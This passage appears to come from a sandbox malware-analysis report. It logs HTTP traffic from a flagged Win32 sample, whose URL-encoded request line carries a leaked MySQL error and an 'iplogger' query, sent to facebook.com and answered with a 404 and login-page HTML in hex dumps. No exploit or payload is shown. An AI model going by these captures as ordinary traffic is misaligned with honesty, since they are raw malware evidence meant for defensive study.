0A%3Cfont%20color=%22%23000000%22%3E%0A%3Cb%3E1045%20-%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='securiteinfo.com.win32.malware-gen.30674'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3E HTTP/1.1 Connection: Keep-Alive Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36 Host: www.facebook.com
2022-09-09 16:00:39 UTC	236	IN	HTTP/1.1 404 Not Found Vary: Accept-Encoding report-to: {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]} x-fb-rlafr: 0 document-policy: force-load-at-top cross-origin-resource-policy: same-origin cross-origin-opener-policy: same-origin-allow-popups Pragma: no-cache Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT X-Content-Type-Options: nosniff X-XSS-Protection: 0 X-Frame-Options: DENY Strict-Transport-Security: max-age=15552000; preload Content-Type: text/html; charset="utf-8" X-FB-Debug: h8h6gquzyRldgMs/zvNP5HNhfOiCK9UJCpNllku02MFNXX7d4lJ7mf0PwkvhZfcyS34iSQXprGcfgVazeOJCKg== Date: Fri, 09 Sep 2022 16:00:39 GMT Priority: u=3,i Transfer-Encoding: chunked Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 Connection: close
2022-09-09 16:00:39 UTC	237	IN	Data Raw: 37 35 63 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 69 64 3d 22 66 61 63 65 62 6f 6f 6b 22 20 63 6c 61 73 73 3d 22 6e 6f 5f 6a 73 22 3e 0a 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 64 65 66 61 75 6c 74 22 20 69 64 3d 22 6d 65 74 61 5f 72 65 66 65 72 72 65 72 22 20 2f 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 42 35 56 6f 41 6b 6a 71 22 3e 66 75 6e 63 74 69 6f 6e 20 65 6e 76 46 6c 75 73 68 28 61 29 7b 66 75 6e 63 74 69 6f 6e 20 62 28 62 29 7b 66 6f 72 28 76 61 72 20 63 20 69 6e 20 61 29 62 5b 63 5d 3d 61 5b 63 5d 7d 77 69 6e 64 6f 77 2e 72 65 71 75 69 Data Ascii: 75c4<!DOCTYPE html><html lang="en" id="facebook" class="no_js"><head><meta charset="utf-8" /><meta name="referrer" content="default" id="meta_referrer" /><script nonce="B5VoAkjq">function envFlush(a){function b(b){for(var c in a)b[c]=a[c]}window.requi
2022-09-09 16:00:39 UTC	238	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 61 29 7b 66 75 6e 63 74 69 6f 6e 20 62 28 62 29 7b 69 66 28 21 77 69 6e 64 6f 77 2e 6f 70 65 6e 44 61 74 61 62 61 73 65 29 72 65 74 75 72 6e 3b 62 2e 49 5f 41 4d 5f 49 4e 43 4f 47 4e 49 54 4f 5f 41 4e 44 5f 49 5f 52 45 41 4c 4c 59 5f 4e 45 45 44 5f 57 45 42 53 51 4c 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 29 7b 72 65 74 75 72 6e 20 77 69 6e 64 6f 77 2e 6f 70 65 6e 44 61 74 61 62 61 73 65 28 61 2c 62 2c 63 2c 64 29 7d 3b 77 69 6e 64 6f 77 2e 6f 70 65 6e 44 61 74 61 62 61 73 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 29 7d 7d 62 28 61 29 7d 29 28 74 68 69 73 29 3b 3c 2f 73 63 72 69 70 74 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 42 35 56 6f 41 6b 6a 71 22 3e 3c 2f 73 74 79 Data Ascii: function(a){function b(b){if(!window.openDatabase)return;b.I_AM_INCOGNITO_AND_I_REALLY_NEED_WEBSQL=function(a,b,c,d){return window.openDatabase(a,b,c,d)};window.openDatabase=function(){throw new Error()}}b(a)})(this);</script><style nonce="B5VoAkjq"></sty
2022-09-09 16:00:39 UTC	239	IN	Data Raw: 63 75 72 69 74 65 69 6e 66 6f 2e 63 6f 6d 2e 77 69 6e 33 32 2e 6d 61 6c 77 61 72 65 2d 67 65 6e 2e 33 30 36 37 34 26 23 30 33 39 3b 25 32 30 6c 69 6d 69 74 25 32 30 30 2c 31 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 66 6f 6e 74 25 32 30 63 6f 6c 6f 72 3d 25 32 32 25 32 33 66 66 30 30 30 30 25 32 32 25 33 45 25 35 42 54 45 50 25 32 30 53 54 4f 50 25 35 44 25 33 43 2f 66 6f 6e 74 25 33 45 25 30 41 25 33 43 2f 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 2f 66 6f 6e 74 25 33 45 3f 5f 66 62 5f 6e 6f 73 63 72 69 70 74 3d 31 22 20 2f 3e 3c 2f 6e 6f 73 63 72 69 70 74 3e 3c 6c 69 6e 6b 20 72 65 Data Ascii: curiteinfo.com.win32.malware-gen.30674'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3E?_fb_noscript=1" /></noscript><link re
2022-09-09 16:00:39 UTC	241	IN	Data Raw: 30 30 30 30 25 32 32 25 33 45 25 30 41 25 33 43 62 25 33 45 31 30 34 35 25 32 30 2d 25 32 30 41 63 63 65 73 73 25 32 30 64 65 6e 69 65 64 25 32 30 66 6f 72 25 32 30 75 73 65 72 25 32 30 26 23 30 33 39 3b 64 62 6e 65 77 30 31 26 23 30 33 39 3b 26 23 30 36 34 3b 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 30 33 39 3b 25 32 30 28 75 73 69 6e 67 25 32 30 70 61 73 73 77 6f 72 64 3a 25 32 30 59 45 53 29 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 73 65 6c 65 63 74 25 32 30 69 70 6c 6f 67 67 65 72 25 32 30 66 72 6f 6d 25 32 30 74 5f 63 68 61 6e 6e 65 6c 73 25 32 30 77 68 65 72 65 25 32 30 6e 61 6d 65 3d 26 23 30 33 39 3b 73 65 63 75 72 69 74 65 69 6e 66 6f 2e 63 6f 6d 2e 77 69 6e 33 32 2e 6d 61 6c 77 61 72 65 2d 67 65 6e 2e 33 30 36 37 34 26 Data Ascii: 0000%22%3E%0A%3Cb%3E1045%20-%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='securiteinfo.com.win32.malware-gen.30674&
2022-09-09 16:00:39 UTC	242	IN	Data Raw: 34 3b 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 30 33 39 3b 25 32 30 28 75 73 69 6e 67 25 32 30 70 61 73 73 77 6f 72 64 3a 25 32 30 59 45 53 29 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 73 65 6c 65 63 74 25 32 30 69 70 6c 6f 67 67 65 72 25 32 30 66 72 6f 6d 25 32 30 74 5f 63 68 61 6e 6e 65 6c 73 25 32 30 77 68 65 72 65 25 32 30 6e 61 6d 65 3d 26 23 30 33 39 3b 73 65 63 75 72 69 74 65 69 6e 66 6f 2e 63 6f 6d 2e 77 69 6e 33 32 2e 6d 61 6c 77 61 72 65 2d 67 65 6e 2e 33 30 36 37 34 26 23 30 33 39 3b 25 32 30 6c 69 6d 69 74 25 32 30 30 2c 31 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 66 6f 6e 74 25 32 30 63 6f 6c 6f 72 3d 25 32 32 25 32 33 66 66 30 30 30 30 25 32 Data Ascii: 4;'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='securiteinfo.com.win32.malware-gen.30674'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%2
2022-09-09 16:00:39 UTC	244	IN	Data Raw: 38 6c 67 35 4b 7a 22 20 64 61 74 61 2d 62 6f 6f 74 6c 6f 61 64 65 72 2d 68 61 73 68 3d 22 43 47 39 30 69 4d 70 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 2f 72 73 72 63 2e 70 68 70 2f 76 33 2f 79 74 2f 6c 2f 30 2c 63 72 6f 73 73 2f 4b 36 6c 73 68 4f 4b 73 33 48 63 2e 63 73 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 20 64 61 74 61 2d 62 6f 6f 74 6c 6f 61 64 65 72 2d 68 61 73 68 3d 22 39 67 6b 30 77 69 47 22 20 2f 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 2f 72 73 72 63 2e Data Ascii: 8lg5Kz" data-bootloader-hash="CG90iMp" /><link type="text/css" rel="stylesheet" href="https://static.xx.fbcdn.net/rsrc.php/v3/yt/l/0,cross/K6lshOKs3Hc.css?_nc_x=Ij3Wp8lg5Kz" data-bootloader-hash="9gk0wiG" /><script src="https://static.xx.fbcdn.net/rsrc.
2022-09-09 16:00:39 UTC	245	IN	Data Raw: 68 59 22 7d 2c 22 31 37 33 38 34 38 36 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 22 41 54 34 63 58 33 37 6f 51 63 6f 36 44 77 68 55 44 71 67 22 7d 7d 2c 22 71 70 6c 44 61 74 61 22 3a 7b 22 37 37 35 38 22 3a 7b 22 72 22 3a 31 7d 7d 7d 29 7d 29 3b 72 65 71 75 69 72 65 4c 61 7a 79 28 5b 22 54 69 6d 65 53 6c 69 63 65 49 6d 70 6c 22 2c 22 53 65 72 76 65 72 4a 53 22 5d 2c 66 75 6e 63 74 69 6f 6e 28 54 69 6d 65 53 6c 69 63 65 2c 53 65 72 76 65 72 4a 53 29 7b 28 6e 65 77 20 53 65 72 76 65 72 4a 53 28 29 29 2e 68 61 6e 64 6c 65 28 7b 22 64 65 66 69 6e 65 22 3a 5b 5b 22 55 52 4c 46 72 61 67 6d 65 6e 74 50 72 65 6c 75 64 65 43 6f 6e 66 69 67 22 2c 5b 5d 2c 7b 22 68 61 73 68 74 61 67 52 65 64 69 72 65 63 74 22 3a 74 72 75 65 2c 22 66 Data Ascii: hY"},"1738486":{"result":false,"hash":"AT4cX37oQco6DwhUDqg"}},"qplData":{"7758":{"r":1}}})});requireLazy(["TimeSliceImpl","ServerJS"],function(TimeSlice,ServerJS){(new ServerJS()).handle({"define":[["URLFragmentPreludeConfig",[],{"hashtagRedirect":true,"f
2022-09-09 16:00:39 UTC	247	IN	Data Raw: 73 65 2c 22 49 53 5f 46 41 43 45 42 4f 4f 4b 5f 57 4f 52 4b 5f 41 43 43 4f 55 4e 54 22 3a 66 61 6c 73 65 2c 22 49 53 5f 4d 45 53 53 45 4e 47 45 52 5f 4f 4e 4c 59 5f 55 53 45 52 22 3a 66 61 6c 73 65 2c 22 49 53 5f 44 45 41 43 54 49 56 41 54 45 44 5f 41 4c 4c 4f 57 45 44 5f 4f 4e 5f 4d 45 53 53 45 4e 47 45 52 22 3a 66 61 6c 73 65 2c 22 49 53 5f 4d 45 53 53 45 4e 47 45 52 5f 43 41 4c 4c 5f 47 55 45 53 54 5f 55 53 45 52 22 3a 66 61 6c 73 65 2c 22 49 53 5f 57 4f 52 4b 5f 4d 45 53 53 45 4e 47 45 52 5f 43 41 4c 4c 5f 47 55 45 53 54 5f 55 53 45 52 22 3a 66 61 6c 73 65 2c 22 49 53 5f 57 4f 52 4b 52 4f 4f 4d 53 5f 55 53 45 52 22 3a 66 61 6c 73 65 2c 22 41 50 50 5f 49 44 22 3a 22 32 35 36 32 38 31 30 34 30 35 35 38 22 2c 22 49 53 5f 42 55 53 49 4e 45 53 53 5f 44 4f Data Ascii: se,"IS_FACEBOOK_WORK_ACCOUNT":false,"IS_MESSENGER_ONLY_USER":false,"IS_DEACTIVATED_ALLOWED_ON_MESSENGER":false,"IS_MESSENGER_CALL_GUEST_USER":false,"IS_WORK_MESSENGER_CALL_GUEST_USER":false,"IS_WORKROOMS_USER":false,"APP_ID":"256281040558","IS_BUSINESS_DO
2022-09-09 16:00:39 UTC	248	IN	Data Raw: 5f 73 65 74 69 6d 6d 65 64 69 61 74 65 22 3a 66 61 6c 73 65 7d 2c 32 31 39 30 5d 2c 5b 22 4b 53 43 6f 6e 66 69 67 22 2c 5b 5d 2c 7b 22 6b 69 6c 6c 65 64 22 3a 7b 22 5f 5f 73 65 74 22 3a 5b 22 4d 4f 42 49 4c 49 5a 45 52 5f 53 45 4c 46 5f 53 45 52 56 45 5f 4f 57 4e 45 52 53 48 49 50 5f 52 45 53 4f 4c 56 45 52 22 2c 22 4d 4c 48 55 42 5f 46 4c 4f 57 5f 41 55 54 4f 52 45 46 52 45 53 48 5f 53 45 41 52 43 48 22 2c 22 4e 45 4b 4f 5f 44 49 53 41 42 4c 45 5f 43 52 45 41 54 45 5f 46 4f 52 5f 53 41 50 22 2c 22 45 4f 5f 44 49 53 41 42 4c 45 5f 53 59 53 54 45 4d 5f 53 45 52 49 41 4c 5f 4e 55 4d 42 45 52 5f 46 52 45 45 5f 54 59 50 49 4e 47 5f 49 4e 5f 43 50 45 5f 4e 4f 4e 5f 43 4c 49 45 4e 54 22 2c 22 4d 4f 42 49 4c 49 54 59 5f 4b 49 4c 4c 5f 4f 4c 44 5f 56 49 53 49 42 Data Ascii: _setimmediate":false},2190],["KSConfig",[],{"killed":{"__set":["MOBILIZER_SELF_SERVE_OWNERSHIP_RESOLVER","MLHUB_FLOW_AUTOREFRESH_SEARCH","NEKO_DISABLE_CREATE_FOR_SAP","EO_DISABLE_SYSTEM_SERIAL_NUMBER_FREE_TYPING_IN_CPE_NON_CLIENT","MOBILITY_KILL_OLD_VISIB
2022-09-09 16:00:39 UTC	250	IN	Data Raw: 45 56 49 45 57 5f 44 49 53 41 42 4c 45 5f 46 45 4c 4c 4f 57 53 48 49 50 5f 52 45 56 49 45 57 22 5d 7d 2c 22 6b 6f 22 3a 7b 22 5f 5f 73 65 74 22 3a 5b 22 38 48 34 62 51 6d 45 69 75 4c 54 22 2c 22 33 4f 73 4c 76 6e 53 48 4e 54 74 22 2c 22 31 47 37 77 4a 36 62 4a 74 39 4b 22 2c 22 39 4e 70 6b 47 59 77 7a 72 50 47 22 2c 22 33 6f 68 35 4d 77 38 36 55 53 6a 22 2c 22 38 4e 41 63 65 45 79 39 4a 5a 6f 22 2c 22 37 46 4f 49 7a 6f 73 36 58 4a 58 22 2c 22 72 66 38 4a 45 50 47 67 4f 69 22 2c 22 34 6a 33 36 53 56 7a 76 50 33 77 22 2c 22 34 4e 53 71 33 5a 43 34 53 63 45 22 2c 22 35 33 67 43 78 4b 71 32 38 31 47 22 2c 22 33 79 7a 7a 77 42 59 37 4e 70 6a 22 2c 22 31 6f 6e 7a 49 76 30 6a 48 36 48 22 2c 22 38 50 6c 4b 75 6f 77 61 66 65 38 22 2c 22 31 6e 74 6a 5a 32 7a 67 66 Data Ascii: EVIEW_DISABLE_FELLOWSHIP_REVIEW"]},"ko":{"__set":["8H4bQmEiuLT","3OsLvnSHNTt","1G7wJ6bJt9K","9NpkGYwzrPG","3oh5Mw86USj","8NAceEy9JZo","7FOIzos6XJX","rf8JEPGgOi","4j36SVzvP3w","4NSq3ZC4ScE","53gCxKq281G","3yzzwBY7Npj","1onzIv0jH6H","8PlKuowafe8","1ntjZ2zgf
2022-09-09 16:00:39 UTC	251	IN	Data Raw: 73 65 74 22 3a 5b 5d 7d 2c 22 6e 6f 43 6f 6f 6b 69 65 73 22 3a 66 61 6c 73 65 2c 22 73 68 6f 75 6c 64 53 68 6f 77 43 6f 6f 6b 69 65 42 61 6e 6e 65 72 22 3a 66 61 6c 73 65 7d 2c 34 33 32 38 5d 2c 5b 22 54 72 75 73 74 65 64 54 79 70 65 73 43 6f 6e 66 69 67 22 2c 5b 5d 2c 7b 22 75 73 65 54 72 75 73 74 65 64 54 79 70 65 73 22 3a 66 61 6c 73 65 2c 22 72 65 70 6f 72 74 4f 6e 6c 79 22 3a 66 61 6c 73 65 7d 2c 34 35 34 38 5d 2c 5b 22 57 65 62 43 6f 6e 6e 65 63 74 69 6f 6e 43 6c 61 73 73 53 65 72 76 65 72 47 75 65 73 73 22 2c 5b 5d 2c 7b 22 63 6f 6e 6e 65 63 74 69 6f 6e 43 6c 61 73 73 22 3a 22 45 58 43 45 4c 4c 45 4e 54 22 7d 2c 34 37 30 35 5d 2c 5b 22 43 6f 6d 65 74 41 6c 74 70 61 79 4a 73 53 64 6b 49 66 72 61 6d 65 41 6c 6c 6f 77 65 64 44 6f 6d 61 69 6e 73 22 2c Data Ascii: set":[]},"noCookies":false,"shouldShowCookieBanner":false},4328],["TrustedTypesConfig",[],{"useTrustedTypes":false,"reportOnly":false},4548],["WebConnectionClassServerGuess",[],{"connectionClass":"EXCELLENT"},4705],["CometAltpayJsSdkIframeAllowedDomains",
2022-09-09 16:00:39 UTC	253	IN	Data Raw: 65 72 6e 49 6e 66 6f 22 3a 7b 22 70 72 69 6d 61 72 79 47 72 6f 75 70 53 69 7a 65 22 3a 33 2c 22 73 65 63 6f 6e 64 61 72 79 47 72 6f 75 70 53 69 7a 65 22 3a 33 7d 2c 22 6e 75 6d 62 65 72 69 6e 67 53 79 73 74 65 6d 44 61 74 61 22 3a 6e 75 6c 6c 7d 2c 35 34 5d 2c 5b 22 53 65 73 73 69 6f 6e 4e 61 6d 65 43 6f 6e 66 69 67 22 2c 5b 5d 2c 7b 22 73 65 65 64 22 3a 22 32 50 43 55 22 7d 2c 37 35 37 5d 2c 5b 22 5a 65 72 6f 43 61 74 65 67 6f 72 79 48 65 61 64 65 72 22 2c 5b 5d 2c 7b 7d 2c 31 31 32 37 5d 2c 5b 22 5a 65 72 6f 52 65 77 72 69 74 65 52 75 6c 65 73 22 2c 5b 5d 2c 7b 22 72 65 77 72 69 74 65 5f 72 75 6c 65 73 22 3a 7b 7d 2c 22 77 68 69 74 65 6c 69 73 74 22 3a 7b 22 5c 2f 68 72 5c 2f 72 22 3a 31 2c 22 5c 2f 68 72 5c 2f 70 22 3a 31 2c 22 5c 2f 7a 65 72 6f 5c 2f Data Ascii: ernInfo":{"primaryGroupSize":3,"secondaryGroupSize":3},"numberingSystemData":null},54],["SessionNameConfig",[],{"seed":"2PCU"},757],["ZeroCategoryHeader",[],{},1127],["ZeroRewriteRules",[],{"rewrite_rules":{},"whitelist":{"\/hr\/r":1,"\/hr\/p":1,"\/zero\/
2022-09-09 16:00:39 UTC	254	IN	Data Raw: 5c 2f 78 74 69 2e 70 68 70 22 3a 31 2c 22 5c 2f 7a 65 72 6f 5c 2f 66 62 6c 69 74 65 5c 2f 63 6f 6e 66 69 67 5c 2f 22 3a 31 2c 22 5c 2f 68 72 5c 2f 7a 73 68 5c 2f 77 63 5c 2f 22 3a 31 2c 22 5c 2f 61 6a 61 78 5c 2f 62 6f 6f 74 6c 6f 61 64 65 72 2d 65 6e 64 70 6f 69 6e 74 5c 2f 22 3a 31 2c 22 5c 2f 6d 6f 62 69 6c 65 5c 2f 7a 65 72 6f 5c 2f 63 61 72 72 69 65 72 5f 70 61 67 65 5c 2f 22 3a 31 2c 22 5c 2f 6d 6f 62 69 6c 65 5c 2f 7a 65 72 6f 5c 2f 63 61 72 72 69 65 72 5f 70 61 67 65 5c 2f 65 64 75 63 61 74 69 6f 6e 5f 70 61 67 65 5c 2f 22 3a 31 2c 22 5c 2f 6d 6f 62 69 6c 65 5c 2f 7a 65 72 6f 5c 2f 63 61 72 72 69 65 72 5f 70 61 67 65 5c 2f 66 65 61 74 75 72 65 5f 73 77 69 74 63 68 5c 2f 22 3a 31 2c 22 5c 2f 6d 6f 62 69 6c 65 5c 2f 7a 65 72 6f 5c 2f 63 61 72 72 69 Data Ascii: \/xti.php":1,"\/zero\/fblite\/config\/":1,"\/hr\/zsh\/wc\/":1,"\/ajax\/bootloader-endpoint\/":1,"\/mobile\/zero\/carrier_page\/":1,"\/mobile\/zero\/carrier_page\/education_page\/":1,"\/mobile\/zero\/carrier_page\/feature_switch\/":1,"\/mobile\/zero\/carri
2022-09-09 16:00:39 UTC	255	IN	Data Raw: 22 5c 2f 72 65 67 5c 2f 22 3a 31 2c 22 5c 2f 72 65 67 69 73 74 72 61 74 69 6f 6e 5c 2f 6c 6f 67 5c 2f 22 3a 31 2c 22 5c 2f 74 65 72 6d 73 5c 2f 22 3a 31 2c 22 5c 2f 66 31 32 33 5c 2f 22 3a 31 2c 22 5c 2f 65 78 70 65 72 74 5c 2f 22 3a 31 2c 22 5c 2f 65 78 70 65 72 74 73 5c 2f 22 3a 31 2c 22 5c 2f 74 65 72 6d 73 5c 2f 69 6e 64 65 78 2e 70 68 70 22 3a 31 2c 22 5c 2f 74 65 72 6d 73 2e 70 68 70 22 3a 31 2c 22 5c 2f 73 72 72 5c 2f 22 3a 31 2c 22 5c 2f 6d 73 69 74 65 5c 2f 72 65 64 69 72 65 63 74 5c 2f 22 3a 31 2c 22 5c 2f 66 62 73 5c 2f 70 69 78 65 6c 5c 2f 22 3a 31 2c 22 5c 2f 63 6f 6e 74 61 63 74 70 6f 69 6e 74 5c 2f 70 72 65 63 6f 6e 66 69 72 6d 61 74 69 6f 6e 5c 2f 22 3a 31 2c 22 5c 2f 63 6f 6e 74 61 63 74 70 6f 69 6e 74 5c 2f 63 6c 69 66 66 5c 2f 22 3a 31 Data Ascii: "\/reg\/":1,"\/registration\/log\/":1,"\/terms\/":1,"\/f123\/":1,"\/expert\/":1,"\/experts\/":1,"\/terms\/index.php":1,"\/terms.php":1,"\/srr\/":1,"\/msite\/redirect\/":1,"\/fbs\/pixel\/":1,"\/contactpoint\/preconfirmation\/":1,"\/contactpoint\/cliff\/":1
2022-09-09 16:00:39 UTC	257	IN	Data Raw: 31 5d 2c 5b 22 63 72 3a 37 30 38 38 38 36 22 2c 5b 22 45 76 65 6e 74 50 72 6f 66 69 6c 65 72 49 6d 70 6c 22 5d 2c 7b 22 5f 5f 72 63 22 3a 5b 22 45 76 65 6e 74 50 72 6f 66 69 6c 65 72 49 6d 70 6c 22 2c 22 41 61 32 76 73 31 5a 36 59 76 6e 6e 32 71 5a 70 6d 2d 43 61 75 44 42 6c 50 31 32 61 66 77 38 62 64 50 54 4d 65 48 4a 4b 4a 4a 49 73 55 57 77 57 67 39 53 31 41 55 38 52 47 47 6e 32 76 4c 58 65 74 33 69 54 6d 38 6b 63 74 57 33 4b 37 69 38 45 36 62 47 34 34 75 79 35 7a 46 4d 22 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 37 31 37 38 32 32 22 2c 5b 22 54 69 6d 65 53 6c 69 63 65 49 6d 70 6c 22 5d 2c 7b 22 5f 5f 72 63 22 3a 5b 22 54 69 6d 65 53 6c 69 63 65 49 6d 70 6c 22 2c 22 41 61 32 76 73 31 5a 36 59 76 6e 6e 32 71 5a 70 6d 2d 43 61 75 44 42 6c 50 31 32 61 66 77 38 Data Ascii: 1],["cr:708886",["EventProfilerImpl"],{"__rc":["EventProfilerImpl","Aa2vs1Z6Yvnn2qZpm-CauDBlP12afw8bdPTMeHJKJJIsUWwWg9S1AU8RGGn2vLXet3iTm8kctW3K7i8E6bG44uy5zFM"]},-1],["cr:717822",["TimeSliceImpl"],{"__rc":["TimeSliceImpl","Aa2vs1Z6Yvnn2qZpm-CauDBlP12afw8
2022-09-09 16:00:39 UTC	258	IN	Data Raw: 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 37 32 39 34 31 34 22 2c 5b 22 56 69 73 75 61 6c 43 6f 6d 70 6c 65 74 69 6f 6e 22 5d 2c 7b 22 5f 5f 72 63 22 3a 5b 22 56 69 73 75 61 6c 43 6f 6d 70 6c 65 74 69 6f 6e 22 2c 22 41 61 33 4f 48 69 38 68 44 75 73 6b 66 36 6e 70 35 71 41 52 6e 38 46 48 66 53 72 4d 43 77 34 79 2d 46 33 33 59 66 45 4b 72 38 47 78 64 62 38 78 61 70 2d 61 6c 4c 61 72 63 35 52 54 58 4c 31 46 33 55 67 4e 42 2d 61 78 75 38 33 4b 43 32 48 43 30 64 35 33 35 4d 6d 49 22 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 31 30 39 34 39 30 37 22 2c 5b 5d 2c 7b 22 5f 5f 72 63 22 3a 5b 6e 75 6c 6c 2c 22 41 61 31 62 6a 63 58 50 42 39 61 45 69 6d 33 63 72 4d 67 4d 35 70 66 54 32 4c 31 71 5f 47 43 47 2d 51 45 55 47 35 5a 70 45 66 42 6b 39 45 52 41 6c 4e 74 77 2d 67 35 59 7a Data Ascii: ]},-1],["cr:729414",["VisualCompletion"],{"__rc":["VisualCompletion","Aa3OHi8hDuskf6np5qARn8FHfSrMCw4y-F33YfEKr8Gxdb8xap-alLarc5RTXL1F3UgNB-axu83KC2HC0d535MmI"]},-1],["cr:1094907",[],{"__rc":[null,"Aa1bjcXPB9aEim3crMgM5pfT2L1q_GCG-QEUG5ZpEfBk9ERAlNtw-g5Yz
2022-09-09 16:00:39 UTC	260	IN	Data Raw: 22 5d 7d 2c 2d 31 5d 5d 2c 22 72 65 71 75 69 72 65 22 3a 5b 5b 22 6d 61 72 6b 4a 53 45 6e 61 62 6c 65 64 22 5d 2c 5b 22 6c 6f 77 65 72 44 6f 6d 61 69 6e 22 5d 2c 5b 22 55 52 4c 46 72 61 67 6d 65 6e 74 50 72 65 6c 75 64 65 22 5d 2c 5b 22 50 72 69 6d 65 72 22 5d 2c 5b 22 42 69 67 50 69 70 65 22 5d 2c 5b 22 42 6f 6f 74 6c 6f 61 64 65 72 22 5d 2c 5b 22 54 69 6d 65 53 6c 69 63 65 22 5d 2c 5b 22 41 73 79 6e 63 52 65 71 75 65 73 74 22 5d 2c 5b 22 42 61 6e 7a 61 69 53 63 75 62 61 5f 44 45 50 52 45 43 41 54 45 44 22 5d 2c 5b 22 56 69 73 75 61 6c 43 6f 6d 70 6c 65 74 69 6f 6e 47 61 74 69 6e 67 22 5d 2c 5b 22 46 62 74 4c 6f 67 67 69 6e 67 22 5d 2c 5b 22 49 6e 74 6c 51 74 45 76 65 6e 74 46 61 6c 63 6f 45 76 65 6e 74 22 5d 2c 5b 22 52 65 71 75 69 72 65 44 65 66 65 72 Data Ascii: "]},-1]],"require":[["markJSEnabled"],["lowerDomain"],["URLFragmentPrelude"],["Primer"],["BigPipe"],["Bootloader"],["TimeSlice"],["AsyncRequest"],["BanzaiScuba_DEPRECATED"],["VisualCompletionGating"],["FbtLogging"],["IntlQtEventFalcoEvent"],["RequireDefer
2022-09-09 16:00:39 UTC	261	IN	Data Raw: 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 22 3e 3c 66 6f 72 6d 20 69 64 3d 22 6c 6f 67 69 6e 5f 66 6f 72 6d 22 20 61 63 74 69 6f 6e 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 6c 6f 67 69 6e 2f 64 65 76 69 63 65 2d 62 61 73 65 64 2f 72 65 67 75 6c 61 72 2f 6c 6f 67 69 6e 2f 3f 6c 6f 67 69 6e 5f 61 74 74 65 6d 70 74 3d 31 26 61 6d 70 3b 6c 77 76 3d 31 31 30 22 20 6d 65 74 68 6f 64 3d 22 70 6f 73 74 22 20 6e 6f 76 61 6c 69 64 61 74 65 3d 22 31 22 20 6f 6e 73 75 62 6d 69 74 3d 22 22 3e 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 6e 61 6d 65 3d 22 6a 61 7a 6f 65 73 74 22 20 76 61 6c 75 65 3d 22 32 39 34 34 22 20 61 75 74 6f 63 6f 6d 70 6c 65 74 65 3d 22 6f 66 66 